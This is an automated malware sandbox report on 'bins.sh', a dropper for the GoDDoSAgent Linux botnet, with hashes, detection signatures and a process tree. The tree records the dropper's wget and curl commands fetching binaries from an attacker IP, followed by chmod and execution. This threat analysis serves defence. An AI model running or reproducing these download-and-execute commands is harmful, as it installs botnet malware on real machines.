goddosagent | 5c107b54a0d4829dcb5ea0618217b69b28659902a629be2ec3967f49e13b48a6

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 16:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample261003-tgvpcasblf
SHA256 5c107b54a0d4829dcb5ea0618217b69b28659902a629be2ec3967f49e13b48a6
MD5 d37de4f012d5ae3b5bde887bace585a4
SHA1 8c3b092d69b93df40a3e30eb3ab345cc46f288f9
SHA512 46802c7068834d4d3ee2ecd50c09ecf8d0d5fb6497775a88d738065beb80630c55bfe2fe660ac51428b2a5202b4ee78b9ea1a7506638b430e9db9cc36b09e870
TLSH
T16E41EA8BA2A045F785099DC5F35414C0F1AE46CFF172CFFDB46896A2195E22CF59AB30
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery goddosagent

Malware Config

Signatures

Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
botnet goddosagent

Detects GoDDoSAgent 10 IoCs

resource	yara_rule
behavioral3/files/fstream-1.dat	family_goddosagent
behavioral3/files/fstream-2.dat	family_goddosagent
behavioral3/files/fstream-4.dat	family_goddosagent
behavioral3/files/fstream-5.dat	family_goddosagent
behavioral3/files/fstream-6.dat	family_goddosagent
behavioral3/files/fstream-7.dat	family_goddosagent
behavioral3/files/fstream-11.dat	family_goddosagent
behavioral3/files/fstream-13.dat	family_goddosagent
behavioral3/files/fstream-15.dat	family_goddosagent
behavioral3/files/fstream-16.dat	family_goddosagent

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
822	chmod
830	chmod
835	chmod
855	chmod
880	chmod
787	chmod
840	chmod
845	chmod
850	chmod
870	chmod
875	chmod
860	chmod
885	chmod
865	chmod
740	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/x86	742	bins.sh
/tmp/x86	788	bins.sh
/tmp/i386	823	bins.sh
/tmp/i386	831	bins.sh
/tmp/amd64	836	bins.sh
/tmp/amd64	841	bins.sh
/tmp/arm	846	bins.sh
/tmp/arm	851	bins.sh
/tmp/armv7l	856	bins.sh
/tmp/armv7l	861	bins.sh
/tmp/arm5	866	bins.sh
/tmp/arm5	871	bins.sh
/tmp/arm6	876	bins.sh
/tmp/arm6	881	bins.sh
/tmp/arm64	886	bins.sh

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm64	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:710
- /usr/bin/wget
  wget http://185.213.240.64/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/x86
  ./x86
  2⤵
  PID:742
- /bin/rm
  rm -f x86
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://185.213.240.64/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/x86
  ./x86
  2⤵
  PID:788
- /bin/rm
  rm -f x86
  2⤵
  PID:790
- /usr/bin/wget
  wget http://185.213.240.64/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/i386
  ./i386
  2⤵
  PID:823
- /bin/rm
  rm -f i386
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://185.213.240.64/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/i386
  ./i386
  2⤵
  PID:831
- /bin/rm
  rm -f i386
  2⤵
  PID:833
- /usr/bin/wget
  wget http://185.213.240.64/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/amd64
  ./amd64
  2⤵
  PID:836
- /bin/rm
  rm -f amd64
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://185.213.240.64/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/amd64
  ./amd64
  2⤵
  PID:841
- /bin/rm
  rm -f amd64
  2⤵
  PID:843
- /usr/bin/wget
  wget http://185.213.240.64/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/arm
  ./arm
  2⤵
  PID:846
- /bin/rm
  rm -f arm
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://185.213.240.64/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/arm
  ./arm
  2⤵
  PID:851
- /bin/rm
  rm -f arm
  2⤵
  PID:853
- /usr/bin/wget
  wget http://185.213.240.64/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:856
- /bin/rm
  rm -f armv7l
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://185.213.240.64/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:861
- /bin/rm
  rm -f armv7l
  2⤵
  PID:863
- /usr/bin/wget
  wget http://185.213.240.64/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/arm5
  ./arm5
  2⤵
  PID:866
- /bin/rm
  rm -f arm5
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://185.213.240.64/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/arm5
  ./arm5
  2⤵
  PID:871
- /bin/rm
  rm -f arm5
  2⤵
  PID:873
- /usr/bin/wget
  wget http://185.213.240.64/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/arm6
  ./arm6
  2⤵
  PID:876
- /bin/rm
  rm -f arm6
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://185.213.240.64/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/arm6
  ./arm6
  2⤵
  PID:881
- /bin/rm
  rm -f arm6
  2⤵
  PID:883
- /usr/bin/wget
  wget http://185.213.240.64/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/arm64
  ./arm64
  2⤵
  PID:886
- /bin/rm
  rm -f arm64
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://185.213.240.64/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.1MB
SHA256 2811db9292f37f6c57e2ccebcee80535145b40ee4bcae22e44c28127c83443bd
MD5 1abb60890c99252961a8fd75b183ec35
SHA1 5188a0b1443f8910e9c344b2b1fd7782fa169a6b
SHA512 5842e670caa88aaf3b74b80067bab29d46ad0bb1665562735fbb125e8cecff4021236cea0832dcb38d2da3d4d36f63edaf32b7bc89fc45779684517a2818e967
SSDEEP 49152:frmnUMcYEjEPsaqV95vf5d+IIEQmWfRFRJqs45EZPnLECXSS0PwKEIQ20:AbEaA9BfGfRFKEBfp046y
TLSH
T101364B07ECA545E9C0AED63486629253BB71BC485B3427D32F60F7382F76BD0AA79740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

amd64

Path /tmp/amd64
Size 4.2MB
SHA256 9a4a4a46f0e0523d351f0b5396f8ba1d0a1636fffe5d0cfad244695552c8acd1
MD5 4af09f3ca6172e263c6b7d7aae87f989
SHA1 5f5e1256f44d91d68938a0ed8f13072e63e16a0c
SHA512 00bc87a88efd14c767dd15a9d5d3e6674885f844fc71944dcbd3fa15cf681df9ddbe9c6d2d95721a51ea66f28b73f810eb847d57fdb3aabf35e04f9400e14a04
SSDEEP 49152:frmnUMcYEjEPsaqV95vf5d+IIEQmWfRFRJqs45EZPnLECXSS0PwP:AbEaA9BfGfRFKEBfp04P
TLSH
T1D8161853ECA545E9C0EED634C6669213BE61BC89473427D36FA0F7242F76BD0A9B8700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.9MB
SHA256 6a9667b46479cc993b98542d211c845ce055b06f4bb47b5555749a20bccf589e
MD5 8431d1679d8a112e0487337024a5b2e7
SHA1 db7b0148b35a3f2a5b9ecb8133f2a27ccb1c04fe
SHA512 9805dd9aad5f99ec07f608a9001ef04299911a501691fe77e64c449d2461aed2a730fded9c5eff42f6fe4f759e182cfa4c4d1a93868b4a01d38f5c2598e1d8b6
SSDEEP 24576:fCxsisp/Z+SMe+AxB0UNCtFMI/josPVh1fatwvLUWEVj5bDWuVD0NCy5zSzZmOcs:JpAGBYaegou9ig76jXyBWMx
TLSH
T1D5361A97B8814A83C4E43637BCBD81C433A74EB99B9752666D04FE3C3ABE5990E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 5.0MB
SHA256 b8796be7f5b8f1a8d94ed461f950ee0b3ab320297769bba7ee6ef3d4619c2245
MD5 ba48589ff9030ace743ccd2b97dc7dc1
SHA1 5a739d7b30827cdf7989ae2ecaee9c0486d5a23c
SHA512 5abbdac6692e4547c108a5d55d69a0844080549bd9baccd6bb99b7be76139e191a01390ad2a5e97b620a1553c307d1ef86c654448d2e020475272d6849b347ed
SSDEEP 24576:5sHTrYoALC86mdBRjU0ewgDJbcSYmG2EMYHAM19I46/QRmZ2HN63CIfOO+QgJNk2:aiHuguymEsYgfrXz6nte2yMCE3Fa2pj
TLSH
T1F0361A97B9924A43C4E43676BCBE80C833A30EB99B9752565D04FE3C3BBE1990D39714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.9MB
SHA256 a6fe1db8ba16c08273f7f5a3f37ecbf9704fdd23c7d557904ed18a178d659e14
MD5 aa0843aa96506baa5252156344e5136a
SHA1 6cd0829ca2f8c2db696ed9508f8f14e13427103f
SHA512 4a00dd473f31ae68ee9aea0bf8577bfae644dc431b82a3dd85d0af8ebcbc096d523404b4c3b44dbd1d2a61b2e058d508b1f622caddfefb57b15d3990440d33f5
SSDEEP 49152:Vuy0pDLMF8nd7jh7geT572zqzkrRIMy8znjt1Zwp5:VuyQ/MF8n5jhxsjt1Zwp5
TLSH
T157361997B8814A83C4E43636BCBD80C533A74EB99B9752666D04FE3C3ABE5E90D35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.9MB
SHA256 fecb7be72eb3876eb1d65aa7f8bb2557b5a0469ad69e588550566cfcfa3a1b66
MD5 7122bf4737c915c559a3fc11d8cc7587
SHA1 950f6d6e5e1ad814f599e3cf4d6fb8fad1c52042
SHA512 8e5e469fb12d63e27eba7e8df5871fab6fdfc08a34d14c7bf69f785590fc2434d2ed8ba9ce221cac75e5b0f03ccd20c2a9b2a48748498e04eb0012c0a60586d0
SSDEEP 49152:PTmqSudndvlaAMkwtI/bMIxXvNLt5i8Z5ErAmBeyIsAU30:LpSuddda9kwtObMIBvNLlPEsc0
TLSH
T174366C94FC6C7452E9D97AB82B3442D47239FC499F8187277514FBADA9F2324CF122A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 3.5MB
SHA256 88939fba84a89a62addf4b3479718c62667a5ab95a6211ef7623bb333091ca97
MD5 4f0b7e46fa4b605955845a4e454de9fc
SHA1 eaa3294232a2de1bc55f479374da3774a62a0c3b
SHA512 c8c4998b6dd34331402da707d589c9c68140d09507d7fe2beb0821d111b810539cce18825cfe6cdfb670f6507abf3ab3efbb6864ac2088f2d60c65506fad92b8
SSDEEP 49152:PTmqSudndvlaAMkwtI/bMIxXvNLt5i8Z5ErAmBez:LpSuddda9kwtObMIBvNLlPEsz
TLSH
T19A063BE4BC2D7461EACDBEF87F3842D4B129FD858B81D6226910BB9E55F1364CF21260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv7l

Path /tmp/armv7l
Size 3.2MB
SHA256 ef19f494908ac7869268581531d5a13d46dc531983b64b21226fcc9e4e92b781
MD5 1adbb7ef139500da3e9953bf5c268b60
SHA1 cbff838933c64a140ea0be9c7739f622fef9fe54
SHA512 964689fa9c7be50fd884e7adc2d191607d3d4ab04852f62f3bbcdc30882be1c44bf40a467709c49a9695652d0426cbd151cd882e522c177bdb8bdfbaaf75f578
SSDEEP 24576:fCxsisp/Z+SMe+AxB0UNCtFMI/josPVh1fatwvLUWEVj5bDWuVD0NCy5zSzZmOcT:JpAGBYaegou9igc
TLSH
T13DF5C5ABB9D24682C4E8367BF87E81C432970FF9939B60655D01ED393BBD4E90938714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i386

Path /tmp/i386
Size 4.6MB
SHA256 d903f9ef7456c8ceedeb366d56812c5eb992974635374b7571106a218d4d947a
MD5 821c4033741abe0bb0c984a121ae7206
SHA1 2f29ec0ff41206b5a8ea3dcacb1a426297fbb12f
SHA512 1d857e9f0ea4442feba29a0e359933576f7808cff6645eb1aff52405400cd17e09a316836688e6b7c6dbb0a350d132ceb868354da367b4e39d80c5452d2a3b19
SSDEEP 49152:+PcG1dt6FBxV5i/WZzFlDpJnchvW5WTYNjVmzyM+WtSM/5aINoprhTMnAbDS:GcG1X6lDDzhvmzyRTK
TLSH
T1EF261950FECB10F6E5031E3054BBA22F67355D098B24EBD7EA507F6AE977692183221C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.9MB
SHA256 c56cc6910fb65195d43496ded00712f9f69a2c9fa9f91016f8b175e030b47850
MD5 3219b247a2dd0303e4e710f569ea2770
SHA1 f7daee87125fae31e1f86f578e0e35ce34acc97f
SHA512 54cef3d266c088969a80d0468e9ef3ae997f395c308cf8d44f84c990a610bc27007630d84b62e3e685e1e1a62853a231857d3b88adfad856e823261333a216bd
SSDEEP 49152:+PcG1dt6FBxV5i/WZzFlDpJnchvW5WTYNjVmzyM+WtSM/5aINoprhTMnAbDO:GcG1X6lDDzhvmzyRTG
TLSH
T19A361950FACB04F6E5431E3018BBA26F67315D098B24EBD7EA507F69F977692193220C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.3MB
SHA256 2beb5511ab72cf483d5487167ac7c6896fb84de1fbaa1011bf64feced9529f8c
MD5 645102e85d96c218627c8be026e395f8
SHA1 bdb50f5a44010a842ce75d7abc10f7eb1219eb42
SHA512 2388f6f4d293eeccc5f01e6384dab36f686e0596b3e7d028082fe69e7b3a3421eace1a46bbe0d90e00dd476bfc5a792392deac4c23cc8bf11dcb196acb4dc3a2
SSDEEP 49152:+PcG1dt6FBxV5i/WZzFlDpJnchvW5WTYNjVmzyM+WtSM/5aINoprhTMnAbd:GcG1X6lDDzhvmzyRTJ
TLSH
T17C263A50FECB10F6E9031E3054BBB23F573159098724EBD7EA506E66E97BA92183721C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads